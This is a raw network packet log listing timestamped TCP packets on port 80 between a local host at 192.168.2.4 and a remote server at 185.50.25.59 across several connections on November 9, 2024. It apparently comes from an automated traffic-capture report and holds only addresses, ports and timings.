Nov 9, 2024 22:23:54.668827057 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668831110 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668834925 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668834925 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.668854952 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668865919 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668884039 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668894053 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668895960 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.668912888 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.668931007 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.668952942 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.668960094 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.668997049 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.669013023 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.669023037 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.669032097 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.669051886 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.669075966 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.672651052 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.672661066 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.672702074 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.672723055 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.672735929 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.672780037 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673069954 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673082113 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673093081 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673111916 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673120975 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673141956 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673161030 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673171997 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673173904 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673183918 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673214912 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673224926 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673234940 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673240900 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673264027 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673269033 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673278093 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673280954 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673285007 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673307896 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673317909 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673326969 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673350096 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673351049 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673361063 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673367023 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673392057 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673396111 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673405886 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673413992 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673414946 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673424959 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673446894 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673470020 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673480988 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673481941 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673500061 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673516035 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673521996 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673540115 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673557997 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673558950 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673572063 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673598051 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673615932 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673621893 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673624992 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673640013 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673652887 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673661947 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673676968 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673696041 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673698902 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673731089 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673746109 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673744917 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673775911 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673782110 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673791885 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673791885 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673835993 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673846960 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673856020 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673890114 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673902988 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673913002 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673913002 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673917055 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673945904 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673974037 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.673988104 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.673996925 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674002886 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674012899 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674022913 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674053907 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674077988 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674086094 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674096107 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674133062 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674143076 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674158096 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674174070 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674206018 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674215078 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674215078 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674225092 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674233913 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674257994 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674261093 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674273968 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674283028 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674305916 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674329996 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674333096 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674340010 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674386024 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674408913 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674417019 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674442053 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674452066 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674463034 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674477100 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674485922 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674501896 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674527884 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674535036 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674537897 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674568892 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674573898 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674577951 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674598932 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674619913 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.674623966 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.674638987 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:54.677541971 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677841902 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677850962 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677902937 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677911043 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677932978 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677990913 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.677999973 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678008080 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678025961 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678035021 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678139925 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678148985 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678185940 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678194046 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678225040 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678247929 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678262949 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678271055 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678383112 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678442001 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678488970 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678539038 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678597927 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678606987 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678642035 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678649902 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678680897 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678704023 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678718090 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678726912 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678741932 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678750038 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678801060 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678808928 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678839922 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678848028 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678894043 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678901911 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678942919 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.678965092 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679045916 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679068089 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679083109 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679091930 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679112911 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679121971 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679140091 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679208994 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679251909 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679260969 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679306030 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679317951 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679332018 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679341078 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679383993 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679393053 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679400921 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679419994 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679435015 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679441929 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679490089 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679498911 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679546118 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679553986 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679584980 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679626942 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679636002 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679646969 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679675102 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679682970 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679723024 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679732084 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679778099 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679786921 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679828882 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679836988 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679923058 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679930925 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679989100 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.679996967 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680006027 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680013895 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680030107 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680037975 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680052042 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680059910 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680073977 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680095911 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680110931 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680119991 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680156946 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680166006 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680207968 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680236101 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680248976 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680257082 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680264950 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680294037 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680301905 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680310011 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680325031 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680332899 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680363894 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680372000 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680396080 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680403948 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680450916 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680459976 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680497885 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680521011 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680541039 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680548906 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680579901 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680588961 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680597067 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680627108 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680635929 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680685997 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680695057 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680702925 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680706978 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680711031 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680748940 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680763960 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680772066 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680783033 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680799007 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680819988 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680834055 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680845022 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680852890 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680860996 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680926085 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680933952 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680943966 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680955887 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680979013 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.680988073 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681018114 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681025982 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681039095 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681057930 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681096077 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:54.681104898 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.049144030 CET	80	50107	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.196145058 CET	50107	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.395515919 CET	80	50107	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.395531893 CET	80	50107	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.395700932 CET	50107	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.395777941 CET	80	50107	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.395823956 CET	50107	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.518549919 CET	50107	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.519644022 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.523828030 CET	80	50107	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.524616003 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.524674892 CET	50107	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.524709940 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.524791956 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.529541969 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.679775953 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.758738041 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.883740902 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:55.888700962 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.888712883 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:55.888720989 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.455471039 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.501948118 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.502008915 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.612720013 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.612773895 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.613586903 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.618451118 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.618705034 CET	80	50105	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.618789911 CET	50105	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.618793011 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.618858099 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.619467020 CET	80	50108	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.622930050 CET	50108	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.624016047 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.977593899 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:56.983068943 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.983089924 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:56.983099937 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.213299036 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.213443995 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.213561058 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.213603020 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.213604927 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.214082956 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.331803083 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.332406044 CET	50110	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.337035894 CET	80	50109	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.337100983 CET	50109	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.337265968 CET	80	50110	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.337415934 CET	50110	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.337563038 CET	50110	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.342318058 CET	80	50110	185.50.25.59	192.168.2.4
Nov 9, 2024 22:23:58.696212053 CET	50110	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:23:58.701265097 CET	80	50110	185.50.25.59	192.168.2.4
